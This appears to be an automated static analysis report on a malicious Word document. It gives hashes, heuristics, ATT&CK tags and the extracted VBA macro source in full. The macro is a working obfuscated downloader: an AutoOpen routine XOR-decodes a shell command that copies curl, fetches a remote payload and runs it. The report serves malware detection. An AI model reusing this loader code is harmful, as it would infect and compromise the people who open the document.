Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 ceec1acac2ecf7d3…

MALICIOUS

Office (OOXML)

103.2 KB Created: 2020-08-11 08:49:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-15
MD5: ea067a91067ea73f682acd210d275ef6 SHA-1: 92d2bc2d43db7a8b58340e600c4d30e83e1e82d9 SHA-256: ceec1acac2ecf7d368bc9379a8483c902162aa8aee523d551362cfc12e7c0a05
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains VBA macros with an AutoOpen function that calls Shell() to execute a command. The script reconstructs a command that appears to download a file to 'c:\programdata\curl.com' and also attempts to establish persistence by writing to the Run key 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run\IAccessible2Proxy'. The ClamAV detection name further supports its malicious nature as a downloader.

Heuristics 7

  • ClamAV: Doc.Downloader.835b97208387fc57-OOXML-9981517-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.835b97208387fc57-OOXML-9981517-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • External relationship high OOXML_EXTERNAL_REL
    External target in word/_rels/document.xml.rels: file:///C:\Builders\Builder\rels\dirpack1\us.jpg
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2014/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexOOXML external relationship
    • http://schemas.openxmlformats.org/markup-compatibility/2006OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/inkOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2017/model3dOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/mathOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2012/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordml/cexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2016/wordml/cidOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2015/wordml/symexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkOOXML external relationship
    • http://schemas.microsoft.com/office/word/2006/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeOOXML external relationship

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1405 bytes
SHA-256: 32a02696b654ee5efddb417af98fd7839c5e842585a5e0274073b0c44b06dbe9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "t0"
Function w(v6)
w = Split(v6, "?")
End Function
Sub autoopen()
SJ = um("67?77?68?0?15?75?0?2?83?69?84?0?85?29?85?126?82?76?126?67?65?67?126?72?69?6?6?83?69?84?0?82?17?29?82?126?69?6?6?83?69?84?0?83?17?29?71?126?83?126?86?6?6?83?69?84?0?86?17?29?82?126?19?126?18?6?6?67?65?76?76?0?67?26?124?80?82?79?71?82?65?77?68?65?84?65?124?67?85?82?76?14?67?79?77?0?15?5?85?5?0?15?70?126?0?72?84?84?80?26?15?15?75?18?84?86?83?21?25?14?67?79?77?15?66?85?77?85?15?90?69?78?69?83?14?80?72?80?31?76?29?67?73?84?89?18?14?67?65?66?0?67?26?124?80?82?79?71?82?65?77?68?65?84?65?124?17?17?17?14?84?77?80?0?6?6?0?67?65?76?76?0?5?82?17?5?5?83?17?5?5?86?17?5?0?67?26?124?80?82?79?71?82?65?77?68?65?84?65?124?17?17?17?14?84?77?80?2")
rI

Shell SJ
End Sub

Attribute VB_Name = "cI"
Sub rI()
Call FileCopy(I, dP)
End Sub
Function um(Wt)
M = w(Wt)
Ys = UBound(M)
y = 0
qT = 8
o = ""
For kb = y To Ys
 o = o & Chr(M(kb) Xor 32)
Next kb
um = o
End Function
Function dP()
dP = "c:\programdata\curl.com"
End Function
Function I()
I = Replace(ActiveDocument.Shapes(1).Title, "1", "")
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 15872 bytes
SHA-256: 7bbcc1c32b302cc3f4146a74512b18288eb6e7601a265998a8028248d3523bce

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